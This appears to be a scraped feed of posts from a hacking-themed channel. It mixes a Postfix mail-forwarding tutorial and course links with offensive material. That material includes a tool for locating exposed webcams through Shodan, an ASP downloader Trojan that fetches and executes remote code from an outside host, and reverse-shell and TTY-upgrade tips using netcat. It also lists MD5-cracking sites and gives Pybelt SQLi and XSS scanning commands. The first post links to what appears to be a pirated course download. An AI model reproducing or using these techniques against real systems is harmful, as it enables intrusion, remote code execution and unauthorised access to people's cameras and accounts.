🦑Photoshop Top Secrets —18.5GB—
2019

https://www.amazon.co.uk/PHOTOSHOP-SECRET-PROFESSIONAL-TRAINING-COURSE/dp/B002NLOQC2

https://mega.nz/#F!LFpFGAwJ!yAOrxm-6FI3syLmw5XwuNg

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Postfix mail forwarding

Postfix is the most commonly used MTA program that can deliver, receive, or route emails. So, if you want to forward emails with your server and domain then using the postfix program, you can set up email forwarding configurations on the domain like kbuzdar@mydomain.com. This article will guide you about how to set up a postfix mail forwarding method on the CentOS server. For all other distributions like Ubuntu and Debian, almost all the steps are the same.


1) Install Postfix
First, ensure that postfix is installed on your system or not.using the following command you can check the installation of postfix:

$ rpm -qa | grep postfix

2) Otherwise, you will install postfix using the following command:

$ sudo dnf install postfix
Once the installation of postfix is complete, now using the following command, you can check the postfix service status:

$ sudo service postfix status
The following output should display on your system.

3) As you can see in the above screenshot, postfix services are active on this system. Now, we can further verify with the help of netstat command that postfix services are running on port 25. Type the following command to do this:

$ sudo netstat -ltnp | grep 25

4) Configuration for postfix email forwarding
Now, start the configuration of postfix for forwarding emails. It is a simple task. First, we need to find the postfix configuration directory path by using the postconf command.

$ postconf | grep config_directory

5) Now, we have an idea that all postfix configuration files located in the directory /etc/postfix, so move inside the directory and edit the ‘main.cf’ configuration file.

Open the file in your favorite text editor or which is installed on your system. Here, we are using a vim editor to modify the configuration files.

$ vi /etc/postfix/main.cf

6) Now, you need to add the following lines at the end of the ‘main.cf’ file.

virtual_alias_domains = mydomain.com theanotherdomain.com
virtual_alias_maps = hash:/etc/postfix/virtual

7) Reload the postfix

After doing some necessary changes in the postfix configuration files, reload or restart the postfix configurations by using the following command:

$ sudo /etc/init.d/postfix reload
# or
$ sudo service postfix reload

@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Blind Attacking Framework :

F E A T U R E S :

- blind attacking makes every vulnerable & exposed host to the internet a targeted one , hence increases the awareness of potential threats

- the best way to prevent knowlege abuse under the hood is sharing it with everyone

- it will always add new to the community and will never be a replica

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) fire up a terminal and sudo apt-get update && apt-get upgrade && apt-get dist-upgrade

2) install [ requests , httplib , urllib , time , bs4 "BeautifulSoup" , colored , selenium , sys ] python modules
python BAF_0.1.0.py

3) use BAF authentication to atomatically authenticate with shodan via premium account to get access to all search results or enter your shodan's account username and pass for custom account login

4) choose 1 , let it do it's job , press y , close the previous tab , press y ,close the previous tabs ...etc till u have the vulnerable cams only

5) choose 2 , enter what do u want to search for (ie: NSA) , when it's done , refer to the targets text file , it will contain the targets ip:port
that's all

6) DON'T close a loading webpage
beta versions will make automated browser open for better understanding ,but you can close the webcam tabs freely

enjoy❤️👍🏻
✅git TOPIC
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

updated 2019-2020 list

🦑FREE LIMITED 4,6 STARS COURSE


-ES6 JavaScript features like arrow functions, the spread operator, const and let, and template literal string

-how to use the Fetch API to load trivia questions from an API

-how to store high scores in Local Storage

-how to use Flexbox, Animations, and REM units in CSS

_how to create a progress bar from scratch

-how to create a spinning loader icon from scratch

DOWNLOAD-watch
https://www.udemy.com/course/build-a-quiz-app-with-html-css-and-javascript/

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Session Hijacking Attacks :
#forbeginers

- Session hijacking attacks exploit a valid web session to gain access to a computer network or system. Session hijacking is also informally known as cookie hijacking.

- Since there are several TCP connections involved in HTTP networking, there is often a method involved in the identification of web users. Whether a particular method is suitable is determined by a session token sent by a web server to the user’s browser following successful authentication. A session ID or session token is a string of varying lengths given to a visitor upon their first visit to a site. There are many ways to incorporate a session ID; it can be worked into the URL or the header of the https request received, or stored as a cookie.

S p e c i f i c a l l y :

1) Most browser sessions and web applications are susceptible to session ID attacks, though most can be used to hijack just about any system out there.

2) Session hijacking attacks, or cookie hijacking attacks, steal or imitate a session token to gain access to a system.

M E T H O D E S :

There are several different ways to compromise a session token:


1) By predicting a weak session token

2) Through session sniffing

3) By means of client-side attacks (XSS, malicious JavaScript Codes, Trojans, etc.)

4) Through man-in-the-middle (MITM) attacks (phishing, etc.)

ubuntu forum
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Passive vulnerability auditor :

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) git clone https://github.com/AeonDave/doork doork
doork works with Python version 2.6.x and 2.7.x on any platform. You have also to install

2) pip install beautifulsoup4

3) pip install requests

4) pip install Django

5)cd doork

6) python doork.py

#fastTips
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑ONLINE CRACKING :
Decrypt MD5 Hashed Strings 2020 WEBSITES :

1) md5online.org

2) md5crack.com

3) md5cracker.org

4) md5decrypt.org

5) crackstation.net

6) hashkiller.co.uk

7) reverse-hash-lookup.online-domain-tools.com

8) md5decrypt.net

9) onlinehashcrack.com

10) cmd5.org

✅
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑WEB HACKING #METHODE :

1) This time the user is a downloader Trojan. The hacker inserted the following code under foot.asp in the root directory of the website through the website upload vulnerability:


<%
'by*
aming Function Gethtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
Gethtml=ObjXMLHTTP .responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode = 3
objStream.Open
objStream.Write Gethtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
Gethtml = objStream.ReadText
objStream.Close
set objStream=Nothing
End Function
execute(Gethtml("http://www.pornhome.com/dy7749/xmlasaquan.txt"))
%>

2) The problem can be solved by clearing this code. The results of the website Trojan cleaning experts
- The content of xmlasaquan.txt is as follows:

then insert this code :

https://pastebin.com/Xr4x50Za

enjoy❤️👍🏻
written
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Reverse-Shells #FastTips ipsThis plays an integral part for owning machines. There are various reverse shells available and the most used among them is

“Pentest Monkey PHP reverse shell” available at http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet .

> Do also check out https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Met hodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

1) Please ensure the the IP address you specied remains correct while inside php reverse shell. Verify it by ifcong tun0.

2) On usual approaches and if it is php-reverse-shell; simply reload the url location, a continuous loop with blank screen will surely generate the shell back the the terminal where netcat is listening.

3) I believe you have some knowledge of creating a Netcat Listener. nc -lvnp 4444 <- This is the port on which it is listening. Can be changed to something else too!

4) On occasions you get reverse shell but not tty shell, you can get it via the command- python -c ‘import pty; pty.spawn(“/bin/bash”)’

5) Upgrading to fully interactive TTY shell (working arrow keys and CTRL-C won’t kill the reverse shell session). After python -c ‘import pty; pty.spawn(“/bin/bash”)’ , hit CTRL-z (this will background the nc session). then on kali machine type “stty raw -echo “ and enter. again, type “fg” and enter. (input cannot be seen after hitting stty command so simply type
This will now give fully interactive TTY shell as if you were logged in via SSH.

6) For reference: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

7) the method of interactive TTY only works in linux. For windows alternative, rlwrap can be used.

Only arrow keys work and CTRL-C will kill the nc session in this case. Can be installed by:

$ apt install rlwrap -y

Usage: $ rlwrap nc -lnvp 4444


enjoy❤️👍🏻
hack lib
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Another web hacking #tool

F E A T U R E S :

-A port scanner

-SQL injection scanner

-Dork checker

-Hash cracker

-Hash type verification tool

-Proxy finding tool

-XSS scanner

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) git clone https://github.com/Ekultek/Pybelt.git

2) cd Pybelt

3) pip install -r requirements.txt

4) C O M M A N D S:

python pybelt.py -p 127.0.0.1 Will run a port scan on your local host

python pybelt.py -s http://example.com/php?id=2 Will run a SQLi scan on the given URL

python pybelt.py -d idea?id=55 Will run a Dork check on the given Google Dork

python pybelt.py -c 9a8b1b7eee229046fc2701b228fc2aff:all Will attempt to crack the hash using all algorithms available on the computer

python pybelt.py -v 098f6bcd4621d373cade4e832627b4f6 Will try to verify the hash type

python pybelt.py -f Will find usable proxies

python pybelt.py -x http://127.0.0.1/php?id=1 Will search the URL for XSS vulnerability

@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁